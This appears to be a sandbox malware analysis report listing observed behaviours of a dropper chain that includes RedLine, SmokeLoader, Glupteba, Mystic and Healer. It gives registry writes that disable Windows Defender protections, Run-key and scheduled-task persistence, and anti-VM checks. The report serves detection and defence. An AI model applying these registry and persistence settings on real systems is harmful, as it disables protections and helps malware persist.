N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Detect Mystic stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\F793.exe N/A

Mystic

stealer mystic

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\2A8C.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\F4C2.bat N/A
Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\F8BD.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a2961194.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b2474707.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c9657920.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\F2FB.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\F425.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\F4C2.bat N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1ZO32QK3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\F659.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\F793.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\F8BD.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2kf426Vj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2A8C.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\5CD8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\source1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\6FB5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\99E3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Windows\rss\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\F793.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WS5OY2lM.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\bB1Ol2hS.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\em6sS5Wk.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\FY0Vk8iU.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v6688163.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\F2FB.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\updater.exe C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\rss\csrss.exe C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
File opened for modification C:\Windows\rss C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
